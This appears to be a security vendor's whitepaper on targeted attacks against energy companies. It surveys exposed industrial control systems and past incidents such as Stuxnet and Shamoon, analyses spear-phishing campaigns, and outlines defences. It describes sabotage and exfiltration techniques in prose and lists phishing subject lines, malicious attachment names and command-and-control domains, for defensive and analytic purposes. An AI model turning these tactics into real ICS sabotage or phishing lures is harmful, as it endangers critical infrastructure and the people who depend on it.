EXPOSED SYSTEMS: ONLINE AND OFFLINE Page 7 Targeted Attacks Against the Energy Sector Exposed systems: Online and offline Historically most industrial control systems (ICS) and supervisory control and data acquisition (SCADA) systems were in separated networks not connected to the Internet or any other network.
Unfortunately this security through segregation approach does not fully protect against cyberattacks.
In reality, networks are rarely completely isolated.
Often some configuration updates are periodically installed or log files are transferred.
If systems are not directly connected, the method of choice for these types of interactions is usually through a USB stick or a non-permanent modem connection, which provides a way into the restricted networks.
This allows malware to spread into such isolated networks as demonstrated many times by threats such as Stuxnet.
If networks are truly segregated, this would mean that there would be no software updates installed, leaving old vulnerabilities open.
There are also issues around processes.
For example, the revocation lists for digital certificates are seldom updated and therefore certificates which are no longer valid cannot be checked properly and would still be accepted.
With the increasing desire for connectivity now reaching industrial plants, many operators have started to connect their ICS to the Internet.
New adapters can bridge to older technology which was never intended to be controlled over the Internet, allowing it to be connected easily.
This allows for efficient centralized monitoring and, to some extent, remote control of equipment.
Depending on the type of machinery controlled through the human-machine interface (HMI) of the ICS, not all modifications are possible.
Some systems are physically connected in a pure read-only mode for monitoring.
And even if they are fully connected, some turbines have physical limitations or emergency systems based on physical effects that cannot be overridden by the digital controller.
Thus, not all Hollywood scenarios of open flood gates or turbines that fly through the air are possible.
However, sabotage attacks that damage equipment are definitely possible, as has already been demonstrated.
In the future, more systems are going to implement the failsafe switches in software, opening up the vector for malware attacks.
An additional source of concern is that some countries have started to open the energy market for smaller private contributors.
This means that almost anyone can use mini power plants like water, wind or photovoltaic sites to feed energy back into the power grid.
Often these operators do not have a full IT staff supporting the facilities at hand, which might lead to more vulnerable installations.
Furthermore they may deploy new technology which might be untested and contain some unknown vulnerabilities.
While these smaller sites make up only a small portion of the grid, new decentralized power input feeds are a challenge for the balance of the power grid as well and need to be carefully monitored.
Small outages or changes can have a domino effect for the whole power grid.
To increase the exposure of energy firms even further, sites like SHODAN, which is essentially a search engine for devices, enable anyone to easily find exposed controllers on the Internet.
Of course not all of the industrial control systems connected to the Internet are critical systems or even real ones.
Some researchers have started to create honey pot systems in order to study the attackers, which have apparently already attracted attackers like the Comment Crew/APT1 group, who have broken into these decoy systems.
http://www.shodanhq.com/ Page 8 Targeted Attacks Against the Energy Sector Smart grid: A new potential avenue of attack Smart grids and smart metering are bringing significant change to the worlds power systems.
Experts predict that billions of smart meters and sensors will be installed worldwide over the next ten years.
They enable utility companies to measure energy consumption at a more granular level, creating better flow patterns and enabling different prices for consumption based on the time of day and location.
This development brings new opportunities, as well as new challenges.
As with any connected infrastructure, it is important to secure the network and its endpoint on multiple levels.
There have already been proof of concept attacks that demonstrate how smart meters could be manipulated to send back false information or report incorrect billing IDs, leading to power theft.
In addition to the issue of securing these devices, smart grids will produce a huge amount of data which, depending on regulations, will need to be kept for audits.
Some of this data may be sensitive and could raise privacy concerns if not properly protected.
This could easily grow to petabytes of data that needs to be safely stored and managed.
It is beyond the scope of this paper to address all the challenges associated with smart grids and smart meters.
Symantec has created a dedicated whitepaper for this topic: How to protect critical infrastructure, mitigate fraud and guarantee privacy.
As a member of the CRISALIS project, Symantec is following these developments closely and is helping to secure critical infrastructure together with partners from academia and different industry sectors.
http://www.symantec.com/en/au/content/en/us/enterprise/executive_report/b-how-to-protect-critical-infrastructure.en-us.pdf http://www.symantec.com/en/au/content/en/us/enterprise/executive_report/b-how-to-protect-critical-infrastructure.en-us.pdf There have been numerous cyberattacks against the energy sector over the past few years.
HISTORY OF DISCOVERED ATTACKS Page 10 Targeted Attacks Against the Energy Sector History of discovered attacks There have been numerous cyberattacks against the energy sector over the past few years.
Not all of them were the work of sophisticated attackers some incidents were just collateral damage caused by malware infections or bad configuration issues.
These incidents highlight the fact that such attacks can happen and that they can have real life consequences.
2013 In 2013 part of the Austrian and German power grid nearly broke down after a control command was accidentally misdirected.
It is believed that a status request command packet, which was broadcast from a German gas company as a test for their newly installed network branch, found its way into the systems of the Austrian energy power control and monitoring network.
Once there, the message generated thousands of reply messages, which generated even more data packages, which in turn flooded the control network.
To stop this self-inflicted DDoS attack, part of the monitoring and control network had to be isolated and disconnected.
Fortunately the situation was resolved without any power outages.
2008 In 2008, Tom Donahue, a senior Central Intelligence Agency (CIA) official told a meeting of utility company representatives that cyberattacks had taken out power equipment in multiple cities outside the United States.
In some cases the attacker tried to extort money from the energy companies, threatening them with further blackouts.
2003 In 2003 the safety monitoring system of the Ohio nuclear power plant apparently went offline for several hours due to a Slammer worm infection.
Fortunately the power plant was already offline due to maintenance and the installed secondary backup monitoring system was unaffected by the worm.
Nevertheless the incident raised safety concerns.
At the beginning of 2003 a marine terminal in Venezuela was targeted by a sabotage attack.
Details of this attack are scarce and vague, but it seems that during a strike an attacking group managed to get access to the SCADA network of the oil tanker loading machinery and overwrote programmable logic controllers (PLCs) with an empty program module.
This halted machinery, preventing oil tankers from loading for eight hour till the unaffected backup code was reinstalled on the PLCs.
The attack was not too sophisticated as it was easily spotted.
A small modification of the PLC code instead would probably have gone unnoticed for a long time.
2001 In 2001 an attack took place against Californias power distribution center, which controls the flow of electricity across California.
Due to apparently poor security configuration, the attacker was able to compromise two Web servers that were part of a developer network and penetrate further from there.
Fortunately the attackers were stopped before they managed to attack any systems which were tied into the transmission grid for the Western United States.
2000 According to Russian officials, the largest natural gas extraction company in the country was successfully attacked in 2000.
The attackers used a Trojan to gain access to the control for the gas pipelines.
Through this switchboard, the flow for individual gas pipelines could have been modified, which would easily have caused widespread disruption.
Page 11 Targeted Attacks Against the Energy Sector Aside from these incidents, there have also been a number of more serious and well-documented targeted attacks against the energy sector: Stuxnet The Stuxnet incident and its relatives Duqu, Flamer and Gauss are some of the most talked-about cases of targeted attacks.
As far as we know today, the Stuxnet operation began in November 2005 with the registration of the command and control (CC) servers used in the attacks.
The first recorded appearance of what we now call Stuxnet version 0.5 was in November 2007.
Since then, a handful of different versions have been found and analyzed.
Stuxnet 1.x is based on what is now known as the tilded platform whereas Stuxnet 0.5 is based on the Flamer framework.
The code segments and programming style differ, which indicates that two different programming teams were most likely responsible for the different branches of Stuxnet.
Thorough investigation into the mechanism and functions of this threat started in July 2010.
Stuxnet is the first known autonomous threat to target and sabotage industrial control systems to such an extent.
Stuxnet is a sophisticated piece of malware, which uses seven vulnerabilities to spread and infect its targets.
The most notable vulnerability is the Microsoft Windows Shortcut LNK/PIF Files Automatic File Execution Vulnerability (CVE-2010-2568), which allows it to auto-execute on USB drives.
Spreading through infected portable media drives allowed it to also infect networks isolated by air gaps that are unreachable from the Internet.
This was most likely the first infection vector used by Stuxnet.
In addition, it is able to infect Step7 project files, which are used to control Programmable Logic Controllers (PLCs).
This allowed the worm to infect computers whenever the engineer exchanged the project files.
Besides this, it also spread through network shares, a printer spooler vulnerability, an old Windows RPC (remote procedure calls) vulnerability and a known password in the WinCC database.
In the end, Stuxnet propagated further than its authors probably intended.
We have monitored more than 40,000 infected IP addresses in 155 countries.
Many of those systems are most likely just collateral damage and were not intended to be infected by the attackers.
For example multiple computers at Chevron were infected by Stuxnet, without any damage being done.
Part of the malware code was signed with stolen digital certificates making it harder to detect by security tools.
To hide its activity even further, Stuxnet executed slightly different infection routines depending on the security software installed on the target.
On the USB drive itself, the malware would hide its own files and even delete itself from it after three successful propagations.
Tricks like these, to make the detection of the malware more difficult, are now frequently used in modern targeted attacks.
Stuxnets payload focused on PLCs, which are used to control different industrial components.
The target of the Stuxnet operation is believed to be a uranium enrichment facility in Iran.
The sabotage payload disrupted and partially destroyed the cascaded high frequency gas centrifuges.
The early version of Stuxnet targeted the S7- 417 PLCs and modified its valve settings.
Closing the valves at certain points in time would lead to an increase of pressure that could damage the equipment.
The later version of the threat focused on the S7-315 PLCs, manipulating the spinning frequency of the rotating motors.
By speeding the centrifuges up and slowing them down repeatedly, the output quality could be spoiled and the centrifuges themselves could be damaged.
The payload would only become active if the fingerprint in the found PLC setup matched a given configuration setup.
This minimized the collateral damage at other facilities and showed that the attackers had in-depth knowledge of the targeted uranium enrichment facilities.
To avoid detection by personnel monitoring the human machine interface (HMI) of the plant, the threat recorded measurement readings during normal operation and played those back in a loop.
Night Dragon Operation Night Dragon, which was uncovered in 2010, is a typical example of global oil companies being targeted, but this time not with the aim of disruption in mind.
The attacks started in late 2009 and were directed at finding project details and financial information about oil and gas field exploration and bids.
The attackers started by compromising public facing Web servers through SQL injection and installing Web shells on them.
Once they had control over the server they used common hacking tools to harvest local http://www.securityfocus.com/bid/41732 http://www.securityfocus.com/bid/41732 Page 12 Targeted Attacks Against the Energy Sector passwords, dump password hashes, sniff authentication messages and exploit internal active directory configuration.
This allowed them to move on to other internal computers using the gathered passwords.
In addition, spear phishing messages were used to compromise additional computers.
The attackers did not use any zero-day vulnerabilities during their attacks.
Rather they used publicly available tools for each individual job.
On compromised computers a common Backdoor.
Trojan was installed that communicated back to the CC server, allowing remote access to the computer.
This allowed the attacker to find and extract valuable information.
Shamoon/Disttrack In August 2012 an extremely destructive cyberattack hit an estimated 30,000 computers at one of the largest oil producers of the world in Saudi Arabia.
The W32.Disttrack malware used in this attack, also known as Shamoon, consists of three components: a dropper, a wiper and a reporter module.
The dropper component is responsible for creating all the required files on the system, registering a service called TrkSvr in order to start itself with Windows.
It also attempts to copy itself to accessible network shares and execute itself remotely if successfully copied.
The wiper component is only activated when a hardcoded configuration date has been passed.
This enables a coordinated, time bomb scenario.
The module then drops a legitimate and digitally signed device driver that provides low level disk access from user space.
The malware collects file names and starts overwriting them with a JPEG image or 192KB blocks of random data.
At the end Disttrack finishes the computer off by wiping the master boot record with the same data.
The reporter component is responsible for sending back a HTTP GET request to the CC server.
It reports the domain name, IP address and number of files overwritten.
By acquiring user credentials and gaining access to the domain controller the attackers were able to push the malware on to many systems before they triggered the destructive payload.
Disttracks secondary goal may have been to steal valuable information from infected computers, but the main intent was to render the computers unusable by wiping the operating system and master boot record, causing disruption and downtime at the targeted company.
Although wiping is also frequently used to destroy evidence of the attack and make forensics more difficult.
The malware does not contain any payload against ICS, like Stuxnet does for PLCs, and is not as sophisticated.
According to the company, no computer related with the production or distribution of oil was affected, since the operational network is separated and specially protected.
One group that claimed responsibility for the attack posted on Pastebin that it was an anti-oppression hacker group.
The attack was prompted by disappointment with some of the regimes in the Middle East, the group said.
True or not, this shows that it is not necessarily only state-sponsored attackers who are carrying out disruptive attacks.
Sabotage attacks usually fall into the orbit of hacktivists, who seek attention rather than profit.
Some sources reported that the attackers had help from insiders, which would explain the so far unclear infection vector.
Soon after this attack became known, a Qatari gas company was attacked in a similar way.
http://www.symantec.com/security_response/writeup.jsp?docid2001-062614-1754-99 http://www.symantec.com/security_response/writeup.jsp?docid2012-081608-0202-99 A spear phishing attack consists of an email with either a malicious attachment or a link to a malicious website.
SPEAR PHISHING ATTACKS IN THE ENERGY SECTOR Page 14 Targeted Attacks Against the Energy Sector Spear phishing attacks in the energy sector Spear phishing is, along with watering hole attacks, one of the most common attack vectors used to attack companies.
The attacks are simple to carry out.
They often follow the same pattern, starting with a reconnaissance phase to gather all publicly available information.
This is followed by the incursion phase of breaking in and compromising computers.
After that comes the discovery phase, where the attacker gathers passwords and maps the internal network.
The final stage is capture and exfiltration, where the valuable information is copied and sent back to the attacker.
The last phase may also involve a disruption attack if the goal is sabotage.
For a more detailed analysis of the attack phases, see Appendix C. A spear phishing attack consists of an email with either a malicious attachment or a link to a malicious website.
Such emails are sent in bulk to a handful of key users.
These waves are often repeated till enough people fall for the bait and compromise their computers.
For analysis on the social engineering themes used, attack details and attachment types used, see Appendix A.
New Years campaign Some of the spear phishing campaigns are smaller in scale and are focused on specific targets.
For example, on January 1, 2013 a global energy research company was targeted.
A wave of spear phishing emails were sent from two Freemailer accounts to 291 individuals at the targeted company.
All receiving email addresses started with a letter between G and R, covering half of the alphabet.
Whether there was a second wave of emails using the other half of the alphabet or whether the attackers only got their hands on part of the address book remains unknown.
All emails had either the subject line 2013,Obama QE4  Merry Christmas  or 2013,Obama QE4.
It is common to see spear phishing attacks take place around holidays, as people are receiving more emails during these times and are less likely to perform due diligence while opening them.
All of the emails contained the same Trojan.
Dropper disguised as an attachment with the filename AVP.dll.
The malware itself drops a malicious Downloader clbcatq.dll into a newly created wuauclt directory, posing as Windows update and taking advantage of the DLL search order hijack weakness in order to load the malicious code in Windows.
The same family of dropper has been used in previous targeted attacks against other sectors, indicating that a group with multiple interests is behind the attacks.
The back door provided full access to the compromised computers.
A week later, on January 7, 2013, the group attacked the same company again.
Seventy emails were sent to 58 individuals using either 2012-13 NFL Playoffs Schedule or Re: 2012-13 NFL Playoffs Schedule as a subject line.
In this wave, the attackers used a similar AVP.dll to the one used before.
In some of the emails, an additional CHM file with an old exploit was used in an effort to maximize the chances of a successful infection.
After this second wave, the attack ceased.
It is unknown if the attackers successfully retrieved the information they were seeking, if they installed other back door Trojans or gained passwords that allowed them to directly access the computers, or if they have given up on the target.
Greek oil campaign A global oil company, with offices around the world, had been under continuous attack for some time, but in September 2012 we noticed an upsurge in activity, with 34 times more suspicious emails than on average.
This provided a clear indication that something suspicious was going on.
At the end of this wave of emails, a hotel chain, a rental car company and two financial institutions were also targeted by the same attacker.
This may have been an attempt to find further information that could be used in a future social engineering attack against the oil company.
In total, 136 email accounts at the oil company were targeted.
A regional sales manager in Greece received http://www.symantec.com/security_response/writeup.jsp?docid2002-082718-3007-99 Page 15 Targeted Attacks Against the Energy Sector 412 emails over the 12 month period, with 155 different attachments.
A HR person in the same country received the second largest amount of emails with 90 in total.
Seventeen other people were targeted between 70 and 90 times, many in the same region.
The rest of the targeted people received less than five emails each, in what seems to have been an undirected spraying in the hope that at least some would fall for the bait.
Clearly the one person that received the highest volume of emails was deemed to be of high value to the attackers.
Possible explanations for the attack could be that a competitor wanted to know more about some upcoming deal or details on the oil field exploration, but this would be highly speculative.
The spear phishing emails came from 234 spoofed addresses.
They were made to appear to be linked to the company in relation to the subject and attachment chosen.
Many of the emails came from the same country as the main targeted sales manager.
The emails all contained malicious attachments.
None of them linked to third party sites for drive-by downloads.
Of the attachments, 1,588 had a .exe extension.
Of those, 842 had a .pdf.exe extension.
The malware chosen was a variant of the Poison Ivy Trojan Backdoor.
Darkmoon and, in some minor cases, Trojan droppers that would download additional malware.
The attackers did not use any zero-day exploits to drop a payload.
The social engineering messages concentrated mainly around the following two themes: E-books and newspapers: E-Book.pdf.exe BusinessWeek.pdf.exe Financial Times E-Paper.pdf.exe The Economist Print Edition.pdf.exe The NY Times In Print.pdf.exe Free desktop tools: Babylon9 - Greek.exe Google Desktop Translator.exe SMS Free Sender Desktop.exe BBC iPlayer.exe Sticky Notes Desktop.exe Once installed, the back door would create a registry run key in order to restart with Windows and connect to one of three CC servers located in Greece.
The last CC server has been used since 2010 in similar attacks against other companies.
Other sub-domains at the same free host and DNS service have been used by other groups to spread malware in the past.
updates.zyns.com amazoaws.dyndns-office.com msupdate.3utilities.com Figure 1.
Number of emails targeting the company per day http://www.symantec.com/security_response/writeup.jsp?docid2005-081910-3934-99 Page 16 Targeted Attacks Against the Energy Sector The chosen names of the CC server domains imitates legitimate services in a bid to be overlooked by the system administrators when checking their logs.
The back door provides full remote access to the compromised computers, allowing for extraction of any data.
It is unknown if the attackers succeeded in their goal and if valuable information has been extracted.
The attacks did not completely disappear, but the email volume decreased significantly to only a few emails per week afterwards.
Motivation and origin As with all targeted attacks, there are many different groups of attackers operating in this field.
These attacks cannot be attributed to only one group or geographical region.
We have seen individuals, competitors, hacktivist groups and possible state sponsored agents carrying out attacks against energy companies.
Some of the attacks have been purely opportunistic, seeking any valuable information available.
Other campaigns look like they were planned over a lengthy period and carried out methodically with a clear goal in mind.
The attackers tend to go after valuable information, including maps of new gas fields or research on efficient photovoltaic generators.
This information can be of great value to competitors or nations that want to make progress in the same field.
Another motivation for attackers is to profit from the information stolen by blackmailing the company.
The same information can be used to carry out sabotage attacks designed to disrupt ICSs, as the energy sector is also a primary target for sabotage attacks which will not generate direct profit for the attacker.
A competitor might be interested in generating bad press and bad customer experience for a rival company, in order to win some new clients.
For example, in January 2013 a group claiming to be related to Anonymous posted access details for what they said were Israeli SCADA systems for power plants and other systems.
Meanwhile, Operation Save the Arctic targeted multiple oil companies around the globe in protest against drilling plans in the Arctic.
Disgruntled employees are also a source of attacks that should not be underestimated.
With their knowhow about internal critical processes and systems they often know how to inflict serious damage.
They may be able to perform system modifications that could go unnoticed for a long periods.
http://www.technewsdaily.com/7459-anonymous-how-israeli-power-stations.html http://www.breitbart.com/Big-Government/2012/07/16/Anonymous-Hacker-Leaks-Employee-Email-Accounts-of-Oil-Companies-to-Support-Greenpeace-Campaign Page 17 Targeted Attacks Against the Energy Sector Protection and mitigation For all regular client computers, the well-established best practice guidelines apply.
These computers are often the first ones to be attacked.
Once compromised, the attacker will use these computers and try to explore deeper into internal networks.
Securing and hardening of deployed operating systems with a working strategy for patch deployment is important.
Reoccurring security awareness training can help users to identify social engineering attempts and prevent them from falling victim to them in the first place.
The company can perform penetration testing on Web and network applications but also on ICSs to identify and remedy any vulnerability.
For examples Web applications should be tested against SQL injection attacks.
This can also help confirm if applied polices are followed through, if the patch level is correct on all computers and if systems are compliant.
Companies can monitor the Internet for information about attacks in the same vertical and apply lessons learned where possible.
In addition, different layers of security products can help achieve better overall protection.
Security Information and Event Manager system (SIEM): Using a SIEM can help correlate all related alerts in one place.
This centralized view can be cross referenced with threat intelligence data to generate prioritization and an action plan.
Painting the bigger picture of the overall security state can reveal previously unnoticed attacks.
For example failed login attempts on internal servers could indicate a password breach.
This includes logging of critical systems and synchronization of time among multiple systems.
Ingress and egress filtering: Filtering the network traffic with firewalls, content filters and IPS allows the control of data flows.
This can prevent attackers from reaching internal systems.
It is important to also monitor outbound traffic, as data exfiltration is a key point for cyberespionage.
It should be noted that with the increased use of cloud services and mobile devices, some traffic might never pass through the companys gateways.
Where traffic blocking is too disruptive at least monitoring should be implemented.
Data loss prevention (DLP): DLP solutions can track the access and flow of critical information and prevent it from leaving the company or encrypt it automatically.
Endpoint protection: Depending on the usage pattern of the computer, different solutions are available to protect the endpoint.
Antivirus solution with proactive detection methods like behavioral analysis and reputation scanning can prevent unknown malware from installing itself.
HIPS (host based intrusion prevention systems), behavioral lockdown or whitelisting can protect computers from any kind of unwanted tampering without the need of constant updates.
System protection: For non-standard IT systems, hardening can increase the security.
On industrial systems which are not often updated or that cannot be updated, exploitation can be prevented with the help of lockdown solutions like Symantec Critical System Protection (CSP).
Through policies, only trusted system applications are allowed to run.
ICS should be regularly checked and upgraded if new firmware exists.
Where this is not possible HIPS and behavioral lockdown tools can be used to secure computers.
Email filtering: Proper email filtering can prevent many spear phishing attempts from reaching users.
They can help minimize the risk of an untrained user falling for social engineering tricks.
Authentication: Some of the ICS contain hardcoded passwords and, wherever possible, these should be changed.
ICS frequently use weakly authenticated protocols that allow for impersonation attacks.
Where possible those authentication methods should be upgraded or at least closely monitored.
Strong authentication or PKI should be used where applicable.
Industrial control systems (ICS) should be specially protected and monitored.
The control system and control network should be secured.
Where possible, ICS should be separate from the Intranet.
Isolating these networks alone is often not enough to protect the control network, but it can make it more difficult for attackers to succeed.
For some systems it can make sense to have a plan to quickly disconnect or separate critical machines in the event of a detected cyberattack.
CONCLUSION In the second half of 2012, the energy sector was the second most targeted with 16 percent of all the targeted attacks.
Page 19 Targeted Attacks Against the Energy Sector Conclusion Cyberespionage campaigns and sabotage attacks are becoming increasingly common, with countless threat actors attempting to gain a foothold in some of the best protected organizations.
At this stage, roughly five targeted attacks per day are being mounted on firms in the energy sector.
These attacks have become increasingly sophisticated, although the capabilities and tactics used by these threat actors vary considerably.
In the second half of 2012, the energy sector was the second most targeted with 16 percent of all the targeted attacks.
This strong increase was mainly due to a large scale attack against one global oil company.
In the first half of 2013, the energy sector was ranked fifth with 7.6 percent of all attacks focused on this sector.
In general we have observed that attackers are becoming more efficient and focusing on smaller operations that attract less attention.
The attackers tend to go after valuable information  such as maps of a new gas field  but the sector is also a major target for sabotage attacks, which will not generate direct profit for the attacker.
Such disruptive attacks do already happen and may lead to large financial losses.
State sponsored agents, competitors, internal attackers or hacktivists are the most likely authors of such sabotage attacks.
Fortunately, there have not been many successful sabotage attacks against energy companies to date.
However, the increasing number of connected systems and centralized control for ICS systems means that the risk of attacks in the future will increase.
Energy and utility companies need to be aware of these risks and plan accordingly to protect their valuable information as well as their ICS or SCADA networks.
APPENDIX Page 21 Targeted Attacks Against the Energy Sector Appendix A.
Spear phishing Social engineering themes used Social engineering is an essential part of spear phishing campaigns.
A cleverly chosen, enticing message may prompt the user into opening an attachment.
It is evident that most attackers are carefully selecting the themes that they use for their attacks.
Some groups use real news stories and copy the text directly from the newspaper websites.
Others try to appeal to personal hobbies in order to get the users attention.
In the energy sector the most commonly used theme for spear phishing emails was money related (e.g.
Wage Data 2012) followed by sports related themes (e.g.
2012-13 NFL Playoffs Schedule).
As an example, the subject line Wage Data 2012 was used in 944 emails, sent from 26 different email addresses to targets in nine different sectors.
The attack was carried out over eight days and used the same infected Microsoft Word document in every instance.
In general any topic can be used in a social engineering attempt, which makes it even harder for regular users to spot the attacks.
Here are a few examples of subject lines used, listed by category: Contact detail updates: Updated Corporate  Regional Office Contact Information Updated Information For Contact List Address Change Event and conference details: The Energy and Economic Summit 2012 12th Annual International Conference on Politics  International Fw: Doha Climate Change Conference - November 2012 US Energy Information Administration Invitation Global news stories: BREAKING NEWS PHOTOS,BEIJING President Obamas Asia Policy and Upcoming Trip to the Region DoD Protection of Whistleblowing Spies U.S.
Engagement in the Pacific Money related: Acknowledge Payment Payroll Invoice for week ending 02/15/2013 - 09509 Bank Details/Swift Code Error Unable to process your most recent Payment Sport related: 2012 NFL Schedule 2012-13 NFL Playoffs Schedule 2012-08-02 Thursdays sixth day of the 2012 Olympic Games London 2012 Medal Top 10 Lifestyle related: 125 Best Foods for Men 2013 Lingerie Calendar... discover your deepest desires Page 22 Targeted Attacks Against the Energy Sector 8 Minutes to a Longer Life Special interest groups: Shamoon Upgrade Edition Malware Might Be Flame Copycat CyberAlert: Cyberattacks spread in banks all over the world 3D printing technology used in Chinese fighter jets 2013 Defense Industries Manufacturing Spear phishing attack details In the last six month of 2012 the average number of targeted attacks observed per day was 87 (with 14 in the energy sector).
In the first six month of 2013 the average number decreased to 60 targeted attacks per day (five in the energy sector).
The spike in August and September 2012 is mostly related to a large scale attack against a global oil company.
The increase in May 2013 was due to multiple attacks against financial services, public sector and IT service organizations.
The government and public sector was quantitatively the most attacked sector, with 25.4 percent of all targeted attacks falling in this sector for the last half of 2012 and 24 percent for the first half of 2013.
The energy sector accounted for 7.6 percent of all targeted attacks, making it the fifth most targeted sector in the first six month of 2013.
This was a big decrease from 16.3 percent of all attacks in the last half of 2012, when it was the second most attacked sector.
This spike in 2012 is mainly due to a large attack campaign against a global oil company which took place in September 2012.
On average we saw 18.6 mail accounts being attacked for any given target company in the last half of 2012 (60.7 in the energy sector) and 5.6 email accounts in the first half of 2013 (10 in the energy sector).
Overall, we see a trend of the attacker conducting more focused attacks against fewer individuals.
This generates less noise and the risk of getting noticed or discovered is smaller.
These emails are sent in small bursts and then  Figure 3: Top 10 of targeted attacks by vertical sectors Figure 2: Number of targeted attacks per day Page 23 Targeted Attacks Against the Energy Sector repeated against a changing target space till enough computers are compromised.
Attachment types used Half of all the attachments analyzed used an extension that would run directly when double clicked.
This old method is still the most common scheme used.
Of all attachments analyzed, 38 percent were .exe and 12 percent were .src files.
In total only 6 percent used double extensions like .pdf.exe to fool the user.
It should also be noted that 23 percent were Microsoft Word documents using some exploit to execute custom code on the computer.
There were also some more exotic extensions used like AutoIt scripts (.au3) and ZX-Edit files (.zed), but these are the exception rather than the rule.
It might be that the attackers tried to bypass some email filtering software by experimenting with different attachment types.
Sometimes even older exploits like the Microsoft DirectX DirectShow Length Record Remote Code Execution Vulnerability (CVE- 2009-1539) in .mp4 files are still occasionally used.
This indicates that either not all attackers have the knowhow to use newer exploits that are publicly available or they speculate that the target has not patched all computers.
Some of the attackers do not seem to be too sophisticated.
For example they used www.
[COMPANY-NAME].com.exe as an attachment name, clearly missing that the .com at the end would be sufficient to run it and the additional .exe was not needed.
Figure 4: Average number of mail accounts targeted per company Figure 5: Extensions used in targeted attack emails http://www.securityfocus.com/bid/35616 http://www.securityfocus.com/bid/35616 http://www.securityfocus.com/bid/35616 Page 24 Targeted Attacks Against the Energy Sector B. Visualization with TRIAGE To identify a series of targeted attacks that are likely performed by the same individuals, we have used a novel attack attribution methodology named TRIAGE.Developed by Symantec Research Labs,TRIAGE is data mining software that relies onmulti-criteria decision analysis and intelligent data fusion algorithms to reliably link different attacks to the same source.
This framework has beendeveloped in orderto automate cyberintelligence tasks and reduce the time needed to get insights into organized cybercrime activities.
By enabling rapid analysis of large security data sets, Symantec analysts can then quickly and more efficiently attribute various waves of cyberattacks to a specific attack campaign likely run by the same individuals.
The TRIAGE framework was recently enhanced with novel visualizationsthanks to VIS-SENSE, a European research project aiming at developing visual analytics technologies for network security applications.
Figure 6: Graph view of attack wave against company targeted in the New Years campaign http://www.symantec.com/about/profile/researchlabs.jsp http://www.vis-sense.eu/ Page 25 Targeted Attacks Against the Energy Sector Since its original conception,TRIAGE has been successfully used to analyze the behavior of cybercriminals involved in various types of Internet attack activities, such as rogue antivirus websites [1], spam botnets operations [2], scam campaigns [3] and targeted attacks performed via spear phishing emails [4,5].
C. Phases of targeted attacks As with any other targeted attacks, attacks against the energy sector often follow the same pattern.
It can be broken down in different phases of attack.
It should be noted that we have seen attackers modify their behavior and exceptions from the norm and this is possible especially if the target company has special circumstances or security measures in place.
Figure 7: Visualization graph of the Greek oil campaign Figure 8: Typical phases of targeted attacks Page 26 Targeted Attacks Against the Energy Sector Reconnaissance phase During this phase the attacker tries to learn as much as possible about the targeted organization.
Information sources often include social networks, job posting sites and press releases.
This enables the attacker to learn the contact details of possible target individuals as well as context that can be used in social engineering scenarios.
The attacker will often create a list of implemented security software used at the targeted company from whatever information is available.
These investigations often start completely passively without any direct contact with the company, since there are many data sources publicly available.
Subsequently the attacker can use more interaction if needed.
Some attackers go through all the effort of creating a fake social media account and befriending key employees.
After a period of small talk, to create a false sense of security, such a connection can then be used to pass on an infected document or find out about some key information.
Depending on the targeted location, physical reconnaissance and eavesdropping may also be used.
Incursion phase The actual break-in occurs during this phase.
The attacker usually compromises the network by delivering targeted malware to vulnerable systems or employees.
There are two main avenues of attack.
One is to send spear phishing emails, where a link to a malicious website or a malicious attachment is delivered using social engineering techniques.
The second method, which is gaining traction, is watering hole attacks, where the attacker infects a website that has a high likelihood of being visited by the intended victim.
By using IP address filters before infecting any visitor of such sites, the attacker can reduce the number of infected systems and bring it to a manageable quantity which can be assessed manually at another time.
Some groups carefully plan watering hole attacks.
For example the Hidden Lynx group stopped using a zero-day vulnerability in a large watering hole attack after Microsoft released details on the vulnerability.
This helped to cover their activities and avoid unwanted attention.
A few days later the group resumed the watering hole attack again, this time using a different exploit.
For more difficult targets, man-in-the-middle attacks can be used.
These can be performed either at the same physical location, posing as a genuine Wi-Fi hotspot or through supply chain attacks.
This can enable the attacker to swap an update of legitimate software for a maliciously crafted version.
Once the victim installs the genuine looking update, the attacker effectively gains control over the computer.
Due to the complexity of such an attack, they are rarely used.
Depending on the skills of the attacker and the time available, the attacker might also attack systems at the perimeter, such as Web servers, and try to break in from there.
The malware used is not always sophisticated.
Sometimes a regular off-the-shelf back door Trojan is used.
In these cases the person behind the malware orchestrating the commands is what makes the difference between a targeted attack and a broad generic infection.
Having said this, on very unique targets, we will often see the use of a specifically designed piece malware, such as in the case of Stuxnet.
Depending on the protection measures implemented by the target, the attackers may also digitally sign their malware creation.
In the past there have been quite a few cases where code signing certificates were stolen and later misused to sign malware in order to pass it unnoticed to high value targets.
Discovery phase Once the attacker has a foothold on one system, the next step is to create a plan for lateral movement through the network until the interesting data is found.
With more specialized teams of attackers, we can often observe that the infected system is first analyzed to ensure that it is of interest to them.
With watering hole attacks especially, it can happen that computers that were not targeted get infected.
Infected computers need to be assessed by the attacker and, if necessary, removed to keep the profile, and with that the chances of exposure, low.
One of the obvious tasks performed by attackers is to install key loggers, dump local credentials, search local storage for saved accounts and sniff the network for passwords.
Any account detail can be useful to them.
Domain administrator passwords are of especially high value, as they can help greatly in moving further through the Intranet.
Often small scripts or even manual commands are used to comb through local files and create network mappings.
Simple system commands can help the attacker to learn about installed security tools, saved links to internal http://www.symantec.com/connect/blogs/hidden-lynx-professional-hackers-hire Page 27 Targeted Attacks Against the Energy Sector platforms and local address books.
Once new systems are identified the attacker will attempt to hop onto them as well.
In some instances they might even use zero-day vulnerabilities to spread further into the network.
One method which is gaining more relevance is the hijacking of local software distribution systems for further distribution.
This can either be proprietary systems, such as the case of Trojan.
Jokra in South Korea, or OS-specific, such as hijacking Windows Update, in the case of Flamer.
Once the attackers have successfully managed to create and distribute their own package, they can easily infect all connected systems at once.
Especially in cases of wiping attacks, such Trojan.
Jokra, this is a very efficient way to disrupt as many computers as possible.
If the target is assumed to be in a separated network not connected to the Internet, the malware used might try and autonomously infect removable drives, like USB sticks, or project files for PLCs.
This could allow the malware to be manually introduced to the destination network, without the knowledge of the carrier, essentially jumping air gaps into isolated networks.
At the end of the discovery phase the attackers should know the internals of the infected networks and have identified systems with interesting data or with connected industrial control systems.
Capture/exfiltration phase The capture and exfiltration phases are not always present.
If the sole goal of the attackers is to cause a disruption they may directly jump to a destructive payload.
However, in most cases information is extracted first, which in turn allows the sabotage to be constructed more efficiently at a later phase.
In this phase the interesting data is gathered and sent back to the attackers.
This can be done with different levels of sophistication.
The simple attacks compress the files and upload them through FTP or through a HTTP POST request to a remote drop server.
More sophisticated attackers obfuscate the data by XOR-ing it, encrypting it with proper asymmetric encryption or embedding it into media files using steganography to hide the data from traffic inspection.
